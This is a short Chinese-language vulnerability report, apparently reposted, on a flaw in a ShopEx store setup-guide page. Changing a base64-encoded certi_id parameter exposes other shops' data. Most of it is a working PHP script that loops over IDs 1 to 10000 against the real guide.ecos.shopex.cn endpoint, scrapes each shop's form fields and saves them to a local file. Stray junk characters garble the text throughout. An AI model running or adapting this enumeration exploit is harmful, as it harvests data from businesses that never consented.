ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
" m+ f% @5 j/ s, G/ J" Z9 {0 D详细说明：
% f  @3 l: o8 l问题出现在shopex 网店使用向导页面
$ O4 l4 U. t; V7 i+ J

! w5 u% o, k! E; D
! h4 |# i5 F8 S: |3 O: zhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



9 }6 X  X& o& q. w3 b5 Frefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


* V# X5 o' R* ]3 ^$ @
7 [' [1 J; E7 m! @* ~: f, k; v我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ J9 j: V8 W% _( U% u, v; g
% m/ X  l9 w" j! Q& ]% k

+ n! G2 b; r0 B<?php
( e  {  J6 F8 `" R7 y9 v# w
% F" w" c# @9 o7 q                for ($i=1; $i < 10000; $i++) { //遍历
8 a. {0 b+ M  z; |1 X9 W
                        ShowshopExD($i);

                }

; ~2 W) o' v. S+ B. P                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

3 N- x& w0 f1 V! P; K                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
* R6 ?* W* S) X$ U4 Z8 n6 D0 |
, f: s8 Y# _  K+ M        $url = $url.'?refer='.$refer;

1 J7 Y/ \% S6 H2 R1 S7 m/ A        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
, |. j" L7 p- x" [9 K2 T
) v. `- m. t4 c  z9 H$ Q8 G0 U# w        $result = curl_exec($ch);
+ E! ~6 c' a8 c$ I
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
8 I6 d( G5 J) u$ k! c8 n
, D; R( o3 e6 ^5 t2 [( ~1 f        if(strpos($result,$refer))

/ l; y2 E$ V# a. J( O* l; A1 G2 E        {
7 {" Q/ g2 z4 s8 S: X
8 A" w" |5 F2 I8 A/ F                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
5 {* r( t/ Z3 p$ S3 O
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

* X. ?& P8 q- P                foreach ($value[1] as $key) {

4 v. u8 z" E( L" \& |8 t2 }2 l                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

) R6 A5 e5 k) X                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
: m3 G1 H$ k5 O. Y+ r
                        fwrite($fp, $col, strlen($col));
4 ^( e0 ]! V3 R  K! ?6 {
                }
$ y3 V8 Z. i# @6 b6 @
% @" J& b! Y( @. H! t9 s                echo '--------------------------------'."\r\n";
2 ~" C1 Q9 c% ~) a3 b
                fclose($fp);

( g# t% }4 J3 _$ v9 G' `: c1 g        }

        flush();
( r+ [" O, i0 a
2 T9 p! f* A4 p8 P' O# T  I. H( o        curl_close($ch);
/ u1 Q0 `% z/ h* V! P% i# X
+ X& T2 B- Q6 A8 l- H- m( T1 j' p                }
( y5 m/ G0 e6 S% L- A; ^( z
, |& b. _2 ]" \6 k?>
0 ~2 }& v: J+ ]8 G0 T$ f漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式